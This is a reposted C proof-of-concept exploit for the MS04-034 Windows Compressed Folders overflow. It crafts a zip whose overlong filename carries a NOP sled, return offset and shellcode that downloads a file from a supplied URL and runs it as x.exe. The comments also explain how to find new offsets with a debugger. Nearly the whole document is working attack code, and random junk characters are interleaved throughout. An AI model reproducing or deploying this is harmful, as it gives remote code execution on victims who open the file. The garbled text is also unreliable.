(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) # c* V1 u2 E8 I# e/ K* ' P; |2 z! ]; z. w* Tested under Windows XP SP0 Spanish/English * + c; F$ z+ d5 c D* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html : O4 E6 m! _% Z- d9 P$ l* Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 , F P0 d/ y" M; c. |9 t( R `* ! h6 o/ z* y9 _9 U6 C* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * , Y) E! M$ P4 \$ s) @. x/ S* Greetings t #haxorcitos, #dsr and #localhost @efnet * * " a7 B. j* Z* p+ g1 G* How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe 1 m& K: _4 T+ z$ A& l- M* 2) open the zip file as a folder and add or move some files to it % a$ Y, S% M$ p. B* 3) search in the explorer.exe memory the shellcode and get the addresses * m o; C3 v6 g2 h6 s* k3 S* */ 7 }+ r# C4 x; }6 t: W ~& N & q0 [# C" ^) l5 x Y/ N2 [9 C. A#include <stdio.h> #include <windows.h> 4 {4 |2 l w) L% T % h, [. U8 T; |' |- a2 @#pragma pack(1) 2 X; F3 n* a7 \+ d #define DATOS "Tarako-Haxorcitos.com" ; V$ o. g4 d2 t/ h- V typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas { m% i! L4 `+ |. f; |) _9 t- ~5 Y$ wWORD CompressionMethod; " B' k7 g: i, @; j# w9 U6 H# X2 @WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; 4 i0 Q/ [! a6 H) ^0 SDWORD UncompressedSize; : y9 [) N2 C2 D& E7 \WORD FilenameLength; 8 f9 p h, M5 bWORD ExtraFieldLength; ! q; }6 y6 ]2 s! I3 _// filename (variable size) // extra field (variable size) * ^# ] a- b9 S}TOPHEADER; 5 E7 O; e; Q, N, ?7 u , U1 j4 F4 w) B typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) 3 O* [& ^ x, Q$ L6 CWORD MadeVersion; 1 b* p: i$ y5 \, VWORD VersionNeeded; 6 f) m7 ]+ Z( Q+ @2 Q8 L+ IWORD GeneralPurposeFlag; // para el data descriptor y demas 7 G- M$ \4 j5 g7 s) \% A9 v. [; qWORD CompressionMethod; 3 g0 T% z, j) ]4 H, fWORD ModFileTime; 6 e9 O6 ?+ {% \8 JWORD ModFileDate; # T0 P0 ]4 k8 H2 n* f, V6 P* H" ?DWORD Crc32; : Y, a! c @8 `# ?DWORD CompressedSize; 4 e8 [! e, k% ?3 ODWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; - N7 c. y% L" ?0 Y# ]0 Q+ v$ SWORD FileCommentLength; WORD DiskNumberStart; ! W0 e9 C2 R4 u; P, y. wWORD InternalFileAttributes; 1 y% x8 `: B4 V0 Y/ IDWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) ' T* @* q% V3 f8 j+ ~6 ], K' n// file comment (variable size) # g& I, H3 X2 B, K l}MIDDLEHEADER; / f6 E+ @2 y3 H7 atypedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) & b# g$ {" M6 C' x: F8 aWORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; 4 X, r# H8 i9 c( v: X3 G& m/ ? x/ VWORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; 8 v3 Y5 E" H4 ]' B R" TDWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; 6 ]; M+ d6 q# j Z4 l; u /* # j/ n" W& Z) j0 ~) @4 J( `/ g: n* download shellcode - RaiSe - raise@netsearch-ezine.com {4 l9 c. S6 j*/ char shellcode1[] = % x' W8 Y, `5 Z9 l3 v"\xEB\x5D\x5F\x8B\xF7\x80\x3F" - [: q, P4 v0 ]4 u0 b& U8 v, s9 Z9 |"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" # [; ^4 ?1 B& X. b/ s1 ^"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" 5 k4 k( A+ J1 p4 |- F"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" ! m: x+ E) @' ?- P2 I" c4 C/ F! i"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" 7 Z7 L: F/ @6 m- C. H6 g- W"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" ( k) e9 y/ _. K2 I x! |3 s* b1 g"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" l+ {! l, D. P7 R$ g2 } \% Y"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" + j' N: [8 g9 J8 w! s"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" 7 H; u$ O; n" Z% B/ {# c"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" , p/ o4 j' \$ m# Z7 t/ ~) g9 O"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" - M3 W9 V S6 c; Y"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" & p$ D5 r3 b! f9 ~9 e: B"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" # q* M$ }7 J+ } r7 d% l: O: X"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" 5 R- m, s% k! j& Z; L2 f( d' o"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" # ^$ j$ \. i% x x"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" ! [ o. \ Z' }/ } x! a"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" 6 J# C5 Q* \9 y3 R1 ?1 b! Q"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; / F0 p& f8 U, @4 E7 |4 O8 E' w5 g char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; - a2 C) k! [ M4 o5 y, [2 ], @ + F( [: U, {" s( y6 o$ A; u, j7 xint main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; 4 R% a* x- o0 B. l6 ?- Q/ KDWORD c; UINT i; + L$ K6 R) E' k, l, zchar *filename; char *url; 0 G$ s# r1 r2 d9 d( Tprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); # j& C# }, `# E }# f* X2 N if (argc!=2) { 1 N F) k$ y3 N" ?* R8 |printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } 2 t- e/ e3 \' i' ?% q/ S. Z" W , V v5 M5 d3 A" G2 y1 K0 surl=argv[1]; 9 n( T% r0 J, I2 k5 ~3 mprintf("\n * URL: %s",url); & _7 M0 K* A1 _9 M# e( ?( K. w' n if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); $ x1 r8 \6 H5 O+ @/ I6 z# }exit(1); } 3 ~# V4 E: ]6 j. S ! I n8 r* `: ~ C7 ^& H: w7 ^c=0x8000; // filename length # {7 C1 X- |: X3 H. afilename=(char*)malloc(sizeof(char)*c); - t8 j( W% I# F+ umemset(filename,0,sizeof(filename)); ' \0 H J& Y* A9 t9 n' d for( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); / b# S. p( o. {1 q p( Amemcpy(filename+0x1818,offset,strlen(offset)); / o9 b3 a& E! m) h1 _ memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); 3 h: P. J5 [9 X& o# L1 A4 zmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 4 H G4 X" j6 `( l+ l4 bmemcpy(filename+(c-4),".txt",4); * _9 e @+ s4 Y3 T5 TCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); 8 R) R9 b8 s# v# P$ K" i0 {% {Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); h! A9 Z* J \ P3 H6 Z /////////////////////////////////////////////////////////////////// " l$ _4 x; e, F* n; a, e0 R& V' Y$ _// TOPHEADER ' `0 ^. v1 N8 z' a! `$ q" q/////////////////////////////////////////////////////////////////// ; l$ I' z( G0 TCabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD / I! a0 Y' C0 \' p8 QCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 2 q, y; i- w: f5 s* ? qCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD ' V$ `; ^ {1 xCabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD " p$ L# E9 y4 }3 m7 mCabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD ) n9 S5 b, b1 Y5 l$ c) F9 `( XCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD 7 a* a1 h+ T$ B. v+ T& J$ n/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// ; S7 o2 X/ T' [* C8 k- h1 \// MIDDLEHEADER ; Z, Q8 C4 Z' J5 ?& u6 F/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD 7 K; N, d- ^7 F/ G0 F ]. r A, LCabecera2->MadeVersion=0x0014; // WORD * L* @" g5 e7 L6 @6 e2 jCabecera2->VersionNeeded=0x000A; // WORD * y$ S* Q, P7 [, n/ @- y# KCabecera2->GeneralPurposeFlag=0x0002; // WORD v( m& {* f. S3 c$ vCabecera2->CompressionMethod=0x0000; // WORD 6 o5 V) V/ F. U1 O* Z0 zCabecera2->ModFileTime=0x1362; // WORD 1 u# w) [& x: j2 u- `, X; mCabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD ' m! o- ` ]& }5 q* s( i9 GCabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD * {/ \ R& D, \- I. oCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ; p% f% F0 w' ~" ?' QCabecera2->ExtraFieldLength=0x0000; // WORD + R0 ^& L& ?% }2 }( ?1 V( n2 SCabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD $ O6 X7 E; e$ y" J% X( tCabecera2->InternalFileAttributes=0x0001; // WORD 0 H/ q4 p9 `2 M# C. SCabecera2->ExternalFileAttributes=0x00000020; // DWORD Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// % P3 r) X* m ~0 ?, H2 ~# ]/////////////////////////////////////////////////////////////////// % r3 a! G1 Z' [$ e" n# E% ?7 C// BOTTOMHEADER 6 C8 Q G( V+ i0 ?! X! U( o' Z/////////////////////////////////////////////////////////////////// 7 `1 W: S2 N4 V6 R9 }3 \9 q5 a; ZCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD * {( T) H2 Q- N4 CCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD + s% [! q; z9 `0 ~9 _Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD ; {4 R8 l1 L! lCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD , b/ Z( x' {4 Z" l5 b/////////////////////////////////////////////////////////////////// + n! z) J2 t4 i5 }1 q" Efwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); `: p9 x. H7 q$ S/ K # ?% C! B+ b/ I, h- S lfwrite(filename, c, 1,ZipFile); F* y3 b" d- h2 ifwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); / Z$ f( s1 }3 `3 K* v3 Dfwrite(filename, c, 1,ZipFile); 0 H ?! W& \7 \1 ~# J4 Efwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); ; c1 y3 C f/ O. {6 ]$ ^ 0 _# }7 k( @' E6 l& |fclose(ZipFile); 4 T( V- m3 L# e) L7 rprintf("\n * prueba.zip created\n"); return 1; }//downloaded from milw0rm.com